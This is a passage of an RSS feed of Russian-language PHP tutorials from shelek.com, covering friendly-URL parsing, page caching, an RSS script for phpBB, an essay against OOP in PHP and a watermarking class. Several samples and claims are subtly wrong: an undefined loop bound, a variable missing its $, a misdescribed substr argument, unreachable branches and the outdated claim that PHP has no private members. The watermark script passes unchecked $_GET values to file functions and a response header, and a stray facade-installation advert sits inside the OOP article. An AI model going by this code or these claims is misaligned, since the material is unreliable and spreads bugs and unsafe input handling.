Пример. Посетитель вводит в браузере http://phpwars.net/content/index.html. На самом деле на сервере нет никакого каталога «content» и уж тем более файла «index.html» в нем. Все происходит так. Веб-сервер пытается открыть файл «/content/index.html». Не найдя его он отображает страницу 404 (которая как уже говорилось выше является специально подготовленным скриптом). Далее в работу вступает скрипт. Он посылает http заголовок 200 (страница найдена), обрабатывает запрашиваемый пользователем url и, как например на php wars, выбирает нужные данные из базы данных и формирует страницу и выдает ее в браузер посетителя.<br />
<br />
В нашем примере рассмотрен как раз самые первые этапы: отправка заголовка и анализ url. Нашей целью будет превратить строку введенную посетителем в массив параметров.<br />
<br />
Для отправки http заголовков в php служит функция «header». Ей мы и пользуемся в самом начале, отправляя заголовок «http/1.1 200 ok».<br />
<br />
header(&quot;http/1.1 200 ok&quot;);<br />
<br />
Далее мы проверяем на пустоту элемент супер-глобального массива «$_server». Это необходимо для того, что бы выяснить как обратились к скрипту. Например, Вы настраиваете свой веб-сревер что бы вместо страницы 404 он отображал index.php. Таким образом становятся возможными два варианта. Посетитель зашел по ссылке прямой ссылке http://phpwars.net/index.php или по какой-либо понятной ссылке http://phpwars.net/content/index.html. В первом случае элемент «redirect_url» будет пустым. Во втором он будет равен «/content/index.html». Если элемент пуст, то оставляем массив параметров пустым.<br />
<br />
Следующим шагом мы присваиваем значение элемента «redirect_url» переменной «$url». Это делается для того, что бы была возможность в дальнейшем использовать этот элемент.<br />
<br />
Готовим «$url» к обработке. Если первым символом в строке является слеш, то удаляем его. Это необходимо для того, что бы при набивке массива у нас не получалось первого пустого элемента («нарезка» массива будет производится по слешам).<br />
<br />
if($url[0]=='/') $url=substr($url, 1);<br />
<br />
Следующим шагом мы удаляем последний слеш в конце строки, если он есть.<br />
<br />
if($url[strlen($url)-1]=='/') $url=substr($url, 0, -1);<br />
<br />
Как видно для выделения подстрок в php используется функция «substr». Ей передаются три параметра:<br />
<br />
переменная, из которой необходимо выделить подстроку<br />
номер символа, с которого начинается выделяемая подстрока<br />
номер последнего символа выделяемой подстроки<br />
Если передать третий параметр, как отрицательное число, то отсчет будет производится с конца строки. Естественно, что функция возвращает нужную подстроку в случае удачи либо flase в противном случае.<br />
<br />
Разделяй и властвуй.<br />
Следующим шагом мы разделяем строку на элементы с помощью функции «explode». В качестве разделителя используем слеш. Как видно функции «explode» передается только два параметра:<br />
<br />
переменная, которую надо разделить<br />
разделитель по которому будет производится деление. Заметьте, что в качестве разделителя может использоваться не только один символ, а произвольная строка.<br />
Функция возвращает массив полученный при разделении строки.<br />
<br />
$url=explode('/', $url);<br />
<br />
Далее мы считаем количество элементов в массиве с помощью функции «count». Если у нас ноль элементов (массив пуст), то присваиваем нашему результирующему массиву параметров также пустой массив. Такая ситуация может сложиться только теоретически, но все же – береженого Бог бережет.<br />
<br />
Рассматриваем ситуация, когда у нас больше нуля элементов. Тут все достаточно просто. В цикле мы проходимся по всему массиву и очередной элемент не пуст присваиваем ему соответствующий элемент результирующего массива. Звучит сложно, но как видно в это всего несколько строк кода.<br />
<br />
$p=array(); $j=0;<br />
for($i=0; $i&lt;=$tmp; $i++)<br />
{<br />
if(!empty($url[$i]))<br />
{<br />
$p[$j]=$url[$i];<br />
$j++;<br />
}<br />
}<br />
<br />
Итог.<br />
Вот и все. Обработка закончена. В результате у нас получился массив с обработанным url. Так например, если посетитель зайдет по ссылке http://phpwars.net/content/index.html, то в нашем массиве будут следующие элементы:<br />
<br />
$p[0]=”content”; $p[1]=”index.html”; Дальнейшая реализация user friendly urls уже зависит от того, какие другие технологии используются (mysql например).]]></description>
			<pubDate>Sat, 27 Apr 2013 18:53:35 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/467]]></link>
		</item>
		<item>
			<title>Простой способ кеширования страниц</title>
			<description><![CDATA[Сайт динамический. Часть страниц меняется редко, а хитов по ним много. Знакомая ситуация? Еще бы. Надеюсь, эта статья поможет Вам несколько ускорить загрузку таких страниц и снять лишнюю нагрузку с сервера.<br />
<br />
Мы рассмотрим простой вариант кеширования, когда содержимое кеша обновляется через определенные промежутки времени. В большинстве случаев этого хватает. Конечно, в будущем мы рассмотрим и более сложные случаи.<br />
<br />
Для начала определимся, как будет выглядеть кеш. Думаю, что самый простой (и не самый плохой) выход - это просто каталог с файлами, названными определенным образом. Имена файлов будут состоять из несколько видоизмененного query_string и прав пользователя. Из query_string мы вырезаем упоминание о сессии (у разных пользователей она разная, а страница, скорее всего, одна и та же). Права пользователя - важная вещь. Ведь, например, администратор часто видит страницу не так, как обычные пользователи. В данном фрагменте кода мы считаем, что есть глобальная переменная $user, где хранится информация о пользователе, и функция user_rights, которая возвращает права пользователя.<br />
<br />
function make_cache_fname() {<br />
global $user;<br />
return 'cache/'.<br />
md5(preg_replace(&quot;/^(.*?)&amp;?&quot;.session_name().&quot;.*$/si&quot;,<br />
&quot;1&quot;,<br />
getenv('query_string'))).<br />
'.'.<br />
md5(user_rights($user));<br />
}<br />
<br />
Теперь можем создать функцию, которая будет читать данные из кеша. Если она не найдет нужную информацию, она вернет пустую строку.<br />
<br />
function page_from_cache() {<br />
global $cache_hits, $cache_expirations, $timelimit;<br />
$fname = make_cache_fname();<br />
if ((file_exists($fname)) and<br />
(($time_diff = (time() - filemtime($fname))) &lt; $timelimit)) {<br />
$fchk = fopen($fname, 'r');<br />
$output = fread($fchk, filesize($fname));<br />
fclose($fchk);<br />
$cache_hits++;<br />
$tm = $timelimit - $time_diff;<br />
$cache_expirations .= ((strlen($cache_expirations) &gt; 0) ? ',' : '').<br />
((strlen($tm) &gt; 0) ? $tm : '0');<br />
return $output;<br />
} // cache hit<br />
else {<br />
return '';<br />
}<br />
}<br />
<br />
Ну и, конечно, никак нельзя обойтись без добавления в кеш. Тут все просто.<br />
<br />
function add_to_cache($txt) {<br />
$fname = make_cache_fname();<br />
$fchk = fopen($fname, 'w');<br />
fwrite($fchk, $txt);<br />
fflush($fchk);<br />
fclose($fchk);<br />
}<br />
<br />
Ну а теперь - используем. Объявляем три глобальные переменные - $cache_hits, $cache_expirations, $timelimit. Первая будет хранить количество страниц, взятых из кеша, вторая - список времен, через которые истекает срок хранения данных, взятых из кеша, третья хранит время, через которое кеш надо обновлять.<br />
<br />
global $cache_hits, $cache_expirations, $timelimit;<br />
<br />
$cache_hits = 0;<br />
$cache_expirations = '';<br />
$timelimit = 150;<br />
<br />
//// use cache - begin ////<br />
$cached_page .= page_from_cache();<br />
if ($cached_page != '') {<br />
$output .= $cached_page;<br />
} // cache hit<br />
else {<br />
// устанавливаем значение $to_cache<br />
add_to_cache($to_cache);<br />
$output .= $to_cache;<br />
} // no cache hit<br />
//// use cache - end ////<br />
// используем результат - $output<br />
<br />
Где-нибудь внизу страницы можем вывести статистику:<br />
<br />
echo 'cache hit(s): '.$cache_hits.<br />
' ('.((strlen(trim($cache_expirations)) &gt; 0) ? $cache_expirations : '0').')';]]></description>
			<pubDate>Sat, 27 Apr 2013 18:53:13 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/466]]></link>
		</item>
		<item>
			<title>Как сделать свою RSS-ленту</title>
			<description><![CDATA[Полагаю, что практически все слышали о том, что бывают ленты новостей. Но далеко не все сайтовладельцы пользуются этой несомненно полезной вещью. А ведь если Вы - владелец форума или новостного сайта, rss - штука весьма нужная, она позволит Вашим посетителям просматривать заголовки новостей и заходить на сайт только для прочтения того, что им действительно нужно и интересно. Одним словом, я решил по возможности коротко рассказать о том, как создать свою rss-ленту, взяв как пример скрипт, сделанный мною для нашего форума.<br />
<br />
<br />
Для начала выдаем правильный content-type:<br />
<br />
header(&quot;content-type: application/rss+xml&quot;);<br />
<br />
Затем формируем заголовок ленты:<br />
<br />
&lt;?xml version=&quot;1.0&quot; encoding=&quot;koi8-r&quot;?&gt;<br />
&lt;rss version=&quot;2.0&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&gt;<br />
&lt;channel&gt;<br />
&lt;title&gt;recovered.info&lt;/title&gt;<br />
&lt;link&gt;http://recovered.info/&lt;/link&gt;<br />
&lt;description&gt;recovered.info forum&lt;/description&gt;<br />
&lt;language&gt;ru-ru&lt;/language&gt;';<br />
<br />
Следует обратить внимание на кодировку документа (encoding), а также заголовок, описание, ссылку и язык. Хотя, как показывает опыт, большинство rss-reader'ов показывает только название ленты, скрывая остальную информацию.<br />
<br />
Далее мы собственно должны вывести ленту новостей. Каждая запись состоит из заголовка (title), ссылки (link), описания (description) и даты (dc:date). Обязательными параметрами являются заголовок и ссылка, остальное можно при желании опустить. Или, наоборот, добавить имя автора, категорию или еще что-нибудь (см. описание стандарта).<br />
<br />
&lt;item&gt;<br />
&lt;title&gt;'.htmlspecialchars($topic_title).'&lt;/title&gt;<br />
&lt;link&gt;http://recovered.info/viewtopic.php?p='.$post_id.'#'.$post_id.'&lt;/link&gt;<br />
&lt;description&gt;<br />
topic:<br />
&amp;lt;a href=http://shelek.com/&quot;http://recovered.info/viewtopic.php?t='.$topic_id.'&quot;&amp;gt;'.<br />
htmlspecialchars($topic_title).<br />
'&amp;lt;/a&amp;gt;<br />
&amp;lt;br /&amp;gt;<br />
forum:<br />
&amp;lt;a href=http://shelek.com/&quot;http://recovered.info/viewforum.php?f='.$forum_id.'&quot;&amp;gt;'.<br />
htmlspecialchars($forum_name).<br />
'&amp;lt;/a&amp;gt;<br />
&lt;/description&gt;<br />
&lt;category&gt;'.<br />
htmlspecialchars($forum_name).<br />
'&lt;/category&gt;<br />
&lt;dc:date&gt;'.<br />
strftime('%y-%m-%dt%h:%m:%s+02:00', $last_post_time).<br />
'&lt;/dc:date&gt;<br />
&lt;/item&gt;<br />
<br />
Обратите внимание на то, что внутри тагов не должна встречаться спец-символы (&lt;, &gt; и т.д.). А также на формат времени (yyyy-mm-ddthh:mm:ss+offset). Весьма распространенный недочет rss-лент - это именно неверное указание времени публикации, что приводит к большой путанице в ленте и неудобствам при чтении. Кстати говоря, дату можно указывать и используя таг &lt;pubdate&gt; - в этом случае она должна соответствовать rfc 822.<br />
<br />
После вывода всех записей остается только закрыть ленту:<br />
<br />
&lt;/channel&gt;<br />
&lt;/rss&gt;<br />
<br />
А теперь посмотрим, как выглядит готовый скрипт для вывода ленты сообщений форума, использующего движок phpbb:<br />
<br />
&lt;?php<br />
<br />
include('config.php');<br />
<br />
header(&quot;content-type: application/rss+xml&quot;);<br />
<br />
echo '&lt;?xml version=&quot;1.0&quot; encoding=&quot;koi8-r&quot;?&gt;<br />
&lt;rss version=&quot;2.0&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&gt;<br />
&lt;channel&gt;<br />
&lt;title&gt;recovered.info&lt;/title&gt;<br />
&lt;link&gt;http://recovered.info/&lt;/link&gt;<br />
&lt;description&gt;recovered.info forum&lt;/description&gt;<br />
&lt;language&gt;ru-ru&lt;/language&gt;';<br />
<br />
if (!($mysql = mysql_connect($dbhost, $dbuser, $dbpasswd)))<br />
return 0;<br />
<br />
if (!($db = mysql_select_db($dbname)))<br />
return 0;<br />
<br />
$result = mysql_query('select phpbb_posts.topic_id, max(phpbb_posts.post_id),<br />
phpbb_topics.topic_title, phpbb_forums.forum_name,<br />
max(phpbb_posts.post_time) as last_post_time,<br />
phpbb_forums.forum_id<br />
from phpbb_topics, phpbb_posts, phpbb_forums<br />
where ( phpbb_topics.topic_id = phpbb_posts.topic_id ) and<br />
( phpbb_topics.forum_id = phpbb_forums.forum_id )<br />
group by phpbb_posts.topic_id<br />
order by last_post_time desc<br />
limit 15');<br />
<br />
while (list($topic_id, $post_id, $topic_title,<br />
$forum_name, $last_post_time, $forum_id) = mysql_fetch_row($result)) {<br />
echo '<br />
&lt;item&gt;<br />
&lt;title&gt;'.htmlspecialchars($topic_title).'&lt;/title&gt;<br />
&lt;link&gt;http://recovered.info/viewtopic.php?p='.$post_id.'#'.$post_id.'&lt;/link&gt;<br />
&lt;description&gt;<br />
topic:<br />
&amp;lt;a href=http://shelek.com/&quot;http://recovered.info/viewtopic.php?t='.$topic_id.'&quot;&amp;gt;'.<br />
htmlspecialchars($topic_title).<br />
'&amp;lt;/a&amp;gt;<br />
&amp;lt;br /&amp;gt;<br />
forum:<br />
&amp;lt;a href=http://shelek.com/&quot;http://recovered.info/viewforum.php?f='.$forum_id.'&quot;&amp;gt;'.<br />
htmlspecialchars($forum_name).<br />
'&amp;lt;/a&amp;gt;<br />
&lt;/description&gt;<br />
&lt;category&gt;'.<br />
htmlspecialchars($forum_name).<br />
'&lt;/category&gt;<br />
&lt;dc:date&gt;'.<br />
strftime('%y-%m-%dt%h:%m:%s+02:00', $last_post_time).<br />
'&lt;/dc:date&gt;<br />
&lt;/item&gt;';<br />
<br />
} // while - fetch rows<br />
<br />
mysql_free_result($result);<br />
<br />
echo '<br />
&lt;/channel&gt;<br />
&lt;/rss&gt;';<br />
<br />
mysql_close($mysql);<br />
<br />
?&gt;]]></description>
			<pubDate>Sat, 27 Apr 2013 18:52:51 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/465]]></link>
		</item>
		<item>
			<title>Неоправданное использование ООП</title>
			<description><![CDATA[Парадигма ООП - замечательный подход к написанию кода. У ООП есть множество неоспоримых преимуществ, самое значительное из которых - возможность использовать заново уже некогда написанный код. Однако все мы рано или поздно осознаём тот факт, что 'PHP - не объектно-ориентированный язык'.<br />
<br />
Несмотря на то, что PHP имеет корректно работающую поддержку объектов, использовать объекты там, где можно без них обойтись - недальновидно и неэффективно. Причина? Дело в том, что поддержка парадигмы ООП в PHP реализована не в полном объёме.<br />
<br />
Несмотря на присутствие основных элементов, PHP всё-таки не хватает многих &quot;продвинутых&quot; функций (как защищённые члены или закрытые переменные), которые обязательны для &quot;настоящих&quot; объектно-ориентированных языков (например, Java, C++).<br />
<br />
Кроме того, поддержка объектов в PHP недостаточно отработана и не очень эффективна. Это означает, что использование парадигмы ООП может существенно снизить скорость выполнения программы.<br />
<br />
Примечание: Другими словами, скрипт, работающий на объектах будет исполняться медленнее, как код внутри eval() по сравнению с обычным кодом. Для более наглядных примеров, где использование ООП принимает какие-то уродливые формы, пришлось бы прибегнуть к продвинутым функциям концепциям PHP, некоторые из которых даже незадокументированы. Так что остановимся на этом.<br />
<br />
А что же мы сможем без ООП?<br />
<br />
Если вы пришли в PHP из Java или C++, где без объектов трудно создать что-либо более или менее серьёзное, то и в PHP вам будет трудно обходиться без них. Но будьте уверены, что серьёзные приложения могут быть написаны и методик и приёмов ООП (PHP был написан на C, а последний, как мы знаем, не поддерживает объектов).<br />
<br />
Итак, для тех, кто не привык обходиться без ООП, приведём альтернативные технологии написания связных и расширяемых приложений вне парадигмы ООП:<br />
Создание API.<br />
Разработка концепции именования (и работа в её рамках).<br />
Группирование взаимосвязанных функций в один файл.<br />
<br />
Создание API<br />
<br />
Соотнесём код программы с тремя уровнями:<br />
Первый - собственно рабочие функции.<br />
Второй - API функции. Сюда входят функции для построения конкретного приложения.<br />
Третий - само приложение:<br />
<br />
&lt;?php<br />
// MortgageRate.php (Ипотечный Кредит)<br />
<br />
// Уровень первый - внутренние функции<br />
// Внутренние функции для расчёта оптимальной процентной ставки исходя из времени и размера помесячных выплат<br />
<br />
function _mort_find_interest_rate ($total) {<br />
if ($total &lt; 30000)<br />
return (7.4);<br />
elseif ($total &gt; 30000)<br />
return (3.2);<br />
elseif ($total &gt; 50000)<br />
return (2.5);<br />
else<br />
return (1.7);<br />
}<br />
<br />
// Уровень второй - API функции<br />
<br />
// double calculate_mortgage_rate (int money, int time, int month)<br />
// Рассчитывает процентную ставку исходя из суммы займа, времени погашения и интервала выплат<br />
<br />
function calculate_mortgage_rate ($money, $time, $month) {<br />
$rate = _mort_find_interest_rate ($money) / 100;<br />
$money /= ($time / $month);<br />
return ($rate * $money) + $money;<br />
}<br />
<br />
?&gt;<br />
<br />
&lt;?php<br />
// CalcMortgage.php<br />
<br />
// Третий уровень - приложение<br />
// $money, $time и $period получаем из формы<br />
<br />
include_once 'MortgageRate.php';<br />
<br />
$price = calculate_mortgage_rate ($money, $time, $period);<br />
<br />
print &quot;Ваша процентная ставка за $period составляет $price&quot;;<br />
?&gt;<br />
<br />
Разработка концепции именования и работа в её рамках.<br />
<br />
Один из самых неприятных моментов при разработке больших приложений - это конфликты пространства имён. Классы его сегментируют. Таким образом, разные классы могут:<br />
иметь свойства с одинаковыми именами или<br />
содержать в себе методы с одинаковыми именами.<br />
Например, класс Phillips и класс Normal могут одновременно содержать метод с именем screwdriver.<br />
<br />
В общем, перед началом большого проекта рекомендуется продумать именование для всего, в частности, способы различия глобальных и регулярных переменных, определения библиотечных функций и т. д.<br />
<br />
Группирование взаимосвязанных функций в один файл<br />
<br />
Связанные API функции лучше всего собрать в один файл так же, как связанные методы объединяются в класс. Такие файлы можно представить классами, где каждая функция представляет собой как бы метод этого класса. Так, каждая функция будет иметь ясное определение и прозрачную структуру.<br />
<br />
Например, можно было бы все функции, связанные с общением с БД, собрать в файл DB.php.<br />
<br />
ООП, как и всё на свете, хорошо в меру<br />
<br />
Небольшая оговорка: эта глава была написана не для того, чтобы отговорить вас от использования ООП вообще. Скорее, это была попытка убедить вас не работать с PHP в режиме Java или C++, где ООП - решение номер один.<br />
<br />
Проведите тщательный анализ всех выгод и потерь, прежде чем применить объектный подход в PHP. Любые виды услуг и монтаж вентилируемого фасада в орле по специальной цене.]]></description>
			<pubDate>Sat, 27 Apr 2013 18:52:30 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/464]]></link>
		</item>
		<item>
			<title>Создание водяных знаков с помощью PHP</title>
			<description><![CDATA[Вступление<br />
<br />
На данном этапе свеого развития PHP предлагает программистам широкий набор функций для динамической генерации изображения и работы с ними. В этой статье я покажу методику создания класса, который будет ставить водяные знаки на эти самые изображения.<br />
<br />
Этот класс будет работать с двумя изображениями: исходное и водяной знак. Как дополнение, введен еще третий параметр - наш класс будет содержать альфа-переменную. Это позволит использовать для нашего водяного знака альфа-канал.<br />
<br />
Для справки<br />
<br />
<br />
альфа-канал (alpha-channel): часть изображения, хранящая информацию о прозрачности отдельных участков изображения, тогда как цветовые каналы хранят информацию о цвете изображения. В графических редакторах используется для маскирования (защиты от редактирования) некоторой области изображения. В некоторых приложениях они называются прозрачной маской.<br />
<br />
Информация, находящаяся в альфа-канале чаще всего представляет выделенные области - некоторые формы или расположение цветных областей. Сохранение альфа-канала в изображении увеличивает размер файла на 1/3. RGB изображения могут иметь до 24 альфа-каналов. Точечные и индексированные изображения не могут содержать альфа-каналов.<br />
<br />
<br />
Часть первая - основы<br />
<br />
Перед тем, как начать написание самого класса, рассмотрим функции, которые будут в нем использоваться. Вот их список:<br />
<br />
# возвращает ширину и высоту изображения<br />
imagesx()<br />
imagesy()<br />
# создаёт новое изображение true-color<br />
imagecreatetruecolor<br />
<br />
# возвращает ассоциативный массив с ключами red, green и blue (+ альфа-канал),<br />
# содержащими соответствующие значения для специфицированного индекса цвета<br />
imagecolorsforindex()<br />
<br />
# возвращает индекс цвета пиксела в специфицированном месте в изображении<br />
imagecolorat()<br />
<br />
# рисует одиночный пиксел заданного цвета<br />
imagesetpixel()<br />
<br />
# возвращает индекс индекс цвета в палитре изображения,<br />
# идентификатор цвета (составленный из RGB-компонентов)<br />
# и индекс цвета палитры изображения,<br />
# являющегося &quot;ближайшим&quot; к RGB-значению соответственно<br />
# (эти данные необходимы для функции imagesetpixel() )<br />
imagecolorexact()<br />
imagecolorallocate()<br />
imagecolorclosest()<br />
<br />
Как можно увидеть, у php достаточно функций для работы с графикой. Пусть назначение некоторых из них и не совсем понятно в теории, но вот на практике все гараздо проще. Поэтому, чтобы разобраться, как с ними работать, применим их в нашем классе.<br />
<br />
Постановка задачи<br />
<br />
Сейчас, когда мы уже определились с целью нашего &quot;мини-проекта&quot;, немного вернемся назад и поговорим о способах ее реализации.<br />
<br />
Для начала, наше приложение получает два изображения - исходное изображения и сам водяной знак. Далее нам необходимо определить размеры этих изображений (width-ширину и height-высоту). Эти данные нам необходимы для расположения водяного знака в центре изображения (исходя из предположения, что размер водяного знака будет меньше самого рисунка).<br />
<br />
Потом нужно будет наложить наш водяной знак на исходное изображение. Для этого нам потребуется сложить цвета (математически) накладываемых изображений для получения третьего.<br />
<br />
И в итоге, нам нужно будет отобразить полученное изображение в браузере. В данном случае рисунок будет открываться непосредственно из источника, указанного в теге&lt;img&gt;<br />
<br />
Думаю, теории уже достаточно - ключевые моменты в ней раскрыты достаточно подробно. Теперь перейдем непосредственно к написанию скрипта.<br />
<br />
Часть вторая - пишем скрипт<br />
<br />
Начнем с самого простого - напишем класс, который создает файл с водяным знаком. Назовем его &quot;watermark&quot; и пропишем его код в файле “api.watermark.php”. &quot;Скелетом&quot; класса будет три функции:<br />
<br />
&lt;?php<br />
class watermark<br />
{<br />
# функция, которая сливает два исходных изображения в одно<br />
function create_watermark() { }<br />
# функция для &quot;усреднения&quot; цветов изображений<br />
function _get_ave_color() { }<br />
# функция, которая находит ближайшие RGB-цвета для нового изображения<br />
function _get_image_color() { }<br />
}<br />
?&gt;<br />
<br />
Следующим этапом будет написание кода функций класса &quot;watermark&quot;. Дополняем файл “api.watermark.php” следующими строками кода:<br />
<br />
# функция, которая сливает два исходных изображения в одно<br />
function create_watermark($main_img_obj, $watermark_img_obj, $alpha_level=100)<br />
{<br />
$alpha_level/= 100; # переводим значение прозрачности альфа-канала из % в десятки<br />
# расчет размеров изображения (ширина и высота)<br />
$main_img_obj_w = imagesx( $main_img_obj );<br />
$main_img_obj_h = imagesy( $main_img_obj );<br />
$watermark_img_obj_w = imagesx( $watermark_img_obj );<br />
$watermark_img_obj_h = imagesy( $watermark_img_obj );<br />
# определение координат центра изображения<br />
$main_img_obj_min_x = floor(($main_img_obj_w/2)-($watermark_img_obj_w/2));<br />
$main_img_obj_max_x = ceil(($main_img_obj_w/2)+($watermark_img_obj_w/2));<br />
$main_img_obj_min_y = floor(($main_img_obj_h/2)-($watermark_img_obj_h/2));<br />
$main_img_obj_max_y = ceil(($main_img_obj_h/2)+($watermark_img_obj_h /2));<br />
# создание нового изображения<br />
$return_img = imagecreatetruecolor($main_img_obj_w, $main_img_obj_h);<br />
# пройдемся по исходному изображению<br />
# &quot;некоторый код&quot;<br />
# отображаем изображение с водяным знаком<br />
return $return_img;<br />
} # конец функции create_watermark()<br />
<br />
Теперь подробнее рассмотрим функцию create_watermark().<br />
Первым делом мы передаем ей три параметра:<br />
<br />
$main_img_obj # исходное изображение, на которое нужно поставить водяной знак<br />
$watermark_img_obj # сам водяной знак, должен содержать альфа-канал<br />
$alpha_level # значение прозрачности альфа-канала водяного знака, (0-100, по умолчнию = 100)<br />
<br />
(Важно отметить, что наша функция принимает изображения как объекты, а не просто как пути к ним – но об этом будет сказано чуть позже)<br />
<br />
Далее мы нам необходимо получить информацию об каждом из изображений. Нам это необходимо знать координаты X и Y для расположения водяного знака в центре исходного изображения.<br />
<br />
Следующим этапом будет создание нового, true-color изображения с теми же размерами, как и у исходной картинки. Это изображение (переменная $return_img) будет использовано для объединения информации из исходных картинок (рисунок и водяной знак).<br />
<br />
Но перед этим еще нужно &quot;пройтись&quot; по каждому из двух исходных изборажений и &quot;слить&quot; их в одно. Вот только это еще рано делать - к этому мы еще не готовы. Вместо этого разместим комментарий &quot;некоторый код&quot;, а затем дополним это место участком кода.<br />
<br />
Финалом будет отображения нашего модифицированного изображения в веб-странице, которая его запросит. Далее рассмотрим оставшиеся две вспомогательные функции.<br />
<br />
Часть третья - вспомогательные функции<br />
<br />
Помимо функции create_watermark в нашем классе watermark присутствуют еще две функции. Продолжим исходный код класса следующими строками:<br />
<br />
# усреднение двух цветов с учетом прозрачности альфа-канала<br />
function _get_ave_color( $color_a, $color_b, $alpha_level )<br />
{<br />
return round((($color_a * (1 - $alpha_level)) + ($color_b * $alpha_level)));<br />
}<br />
# возвращаем значения ближайших RGB-составляющих нового рисунка<br />
function _get_image_color($im, $r, $g, $b)<br />
{<br />
$c=imagecolorexact($im, $r, $g, $b);<br />
if ($c!=-1) return $c;<br />
$c=imagecolorallocate($im, $r, $g, $b);<br />
if ($c!=-1) return $c;<br />
return imagecolorclosest($im, $r, $g, $b);<br />
}<br />
<br />
А теперь подробнее. Наша первая функция “_get_ave_color” принимает численные величины двух цветов и альфа-канала. Возвращает же она усредненную их величину. Эта функция нам необходима для определения цвета, который получится при наложении пикселей двух рисунков.<br />
<br />
Вторая функция “_get_image_color” разбивает изображение на red (красный), green (зеленый) и синий (blue) составляющие (rgb-палитра). С помощью встроенных в php функций для работы с графикой (их описание было в начале статьи) получаем ближайшее значение цвета для нового изображения.<br />
<br />
В дополнение еще проверяется несколько моментов. Во-первых, если удалось получить точное значение (переменная $c), то оно и возвращается из функции (return $c). В противном случае далается попытка подобрать цвет с помощью функции imagecolorallocate(). Если же и это не поможет достичь результата, то с помощью функции imagecolorclosest() просто возвращается ближайшее значение цвета (самое неточное).<br />
<br />
Ну вот, наш класс и почти готов. Осталось только заменить в функции “create_watermark” комментарий &quot;некоторый код&quot; следующими строками:<br />
<br />
# пройдемся по изображению<br />
for( $y = 0; $y &lt; $main_img_obj_h; $y++ )<br />
{<br />
for ($x = 0; $x &lt; $main_img_obj_w; $x++ )<br />
{<br />
$return_color = NULL;<br />
# определение истинного расположения пикселя в пределах нашего водяного знака<br />
$watermark_x = $x - $main_img_obj_min_x;<br />
$watermark_y = $y - $main_img_obj_min_y;<br />
# выбор информации о цвете для наших изображений<br />
$main_rgb = imagecolorsforindex($main_img_obj, imagecolorat($main_img_obj, $x, $y));<br />
# если наш пиксель водяного знака непрозрачный<br />
if ($watermark_x &gt;= 0 &amp;&amp; $watermark_x &lt; $watermark_img_obj_w &amp;&amp; $watermark_y &gt;= 0 &amp;&amp; $watermark_y &lt; $watermark_img_obj_h )<br />
{<br />
$watermark_rbg = imagecolorsforindex( $watermark_img_obj, imagecolorat( $watermark_img_obj, $watermark_x, $watermark_y ) );<br />
# использование значения прозрачности альфа-канала<br />
$watermark_alpha = round( ( ( 127 - $watermark_rbg['alpha'] ) / 127 ), 2 );<br />
$watermark_alpha = $watermark_alpha * $alpha_level;<br />
# расчет цвета в месте наложения картинок<br />
$avg_red = $this-&gt;_get_ave_color( $main_rgb['red'], $watermark_rbg['red'], $watermark_alpha );<br />
$avg_green = $this-&gt;_get_ave_color( $main_rgb['green'], $watermark_rbg['green'], $watermark_alpha );<br />
$avg_blue = $this-&gt;_get_ave_color( $main_rgb['blue'], $watermark_rbg['blue'], $watermark_alpha );<br />
# используя полученные данные, вычисляем индекс цвета<br />
$return_color = $this-&gt;_get_image_color( $return_img, $avg_red, $avg_green, $avg_blue );<br />
# если же не получиться выбрать цвет, то просто возьмем копию исходного пикселя<br />
} else { $return_color = imagecolorat( $main_img_obj, $x, $y ); }<br />
# из полученных пикселей рисуем новое изоборажение<br />
imagesetpixel($return_img, $x, $y, $return_color );<br />
}<br />
}<br />
<br />
После написания такой значительной части кода можно сделать паузу и подробнее остановиться на его анализе.<br />
<br />
Первым делом наш скрипт выполняет обход изображения с помощью двух циклов 'for'. Параллельно еще подсчитываются координаты каждого пикселя водяного знака.<br />
<br />
Далее производится поиск информации о RGB для кажого пикселя. Если текущий пиксел не находиться в области пересечения исходного изображения и водяного знака, то наш класс лишь дублирует пиксел для нового изображения. В случае расположения пикселя в области пересечения, нам необходимо определить его цвет как результат наложения исходного рисунка и водяного знака.<br />
<br />
Для определения цвета области пересечения, сначала нужно получить значение RGB-переменной водяного знака, используя информацию, которую мы получили в циклах 'for'. Потом с помощью функции &quot;_get_ave_color” определяется среднее значение цвета для нового изображения. Далее следует функция “_get_image_color” для определения цветовой гаммы, которая будет использована функцией “return_img”.<br />
<br />
В итоге, после завершения работы циклов 'for' у нас есть готовое изображение с водяным знаком.<br />
<br />
А теперь проверим наш класс в деле.<br />
<br />
Часть четвертая - тест-драйв<br />
<br />
Для начала нам потребуются два файла. Первый назовем “watermark_test.php” и разместим в нем следующий код:<br />
<br />
&lt;!-- original image --&gt;<br />
&lt;img src=http://shelek.com/&quot;main.jpg&quot;&gt;<br />
&lt;br&gt;&lt;br&gt;<br />
&lt;!-- watermarked image --&gt;<br />
&lt;img src=http://shelek.com/&quot;image.php?main=main.jpg&amp;watermark=watermark.png&quot;&gt;<br />
<br />
Назначения этотго файла очень простое: он отображает в браузере исходное (main.jpg) и полученное (watermark.png, с водяным знаком) изображения.<br />
<br />
Как можно увидеть, наше второе изображение (watermark.png) ссылается на php-файл image.php, а не на файл-изображение. Эта ссылка имеет вид GET-запроса, где в php-файл передаются значения двух переменных: $main и $watermark.<br />
<br />
Второй файл назовем “image.php” и и разместим в нем такой код:<br />
<br />
&lt;?php<br />
# подключаем наш класс 'watermark'<br />
include 'api.watermark.php';<br />
$watermark = new watermark();<br />
# создаем объекты-изображения используя исходные файлы (main.jpg и watermark.png)<br />
$main_img_obj = imagecreatefromjpeg( $_GET['main'] );<br />
$watermark_img_obj = imagecreatefrompng( $_GET['watermark'] );<br />
# создаем изображение с водяным знаком - значение прозрачности альфа-канала водяного знака установим в 66%<br />
$return_img_obj = $watermark-&gt;create_watermark( $main_img_obj, watermark_img_obj, 66 );<br />
# отобразим наше полученное изображение в браузере - но сначала сообщим ему, что это jpeg-файл<br />
header( 'Content-Type: image/jpeg' );<br />
header( 'Content-Disposition: inline; filename=' . $_GET['src'] );<br />
imagejpeg( $return_img_obj, '', 50 );<br />
?&gt;<br />
<br />
Ну вот и подобрались к финалу.<br />
Для тех, кто хочет получить больше информации о создании изображений в популярных форматах, даю несколько ссылок:<br />
<br />
http://www.php.net/manual/en/function.imagecreatefromgif.php<br />
http://www.php.net/manual/en/function.imagecreatefromjpeg.php<br />
http://www.php.net/manual/en/function.imagecreatefrompng.php<br />
<br />
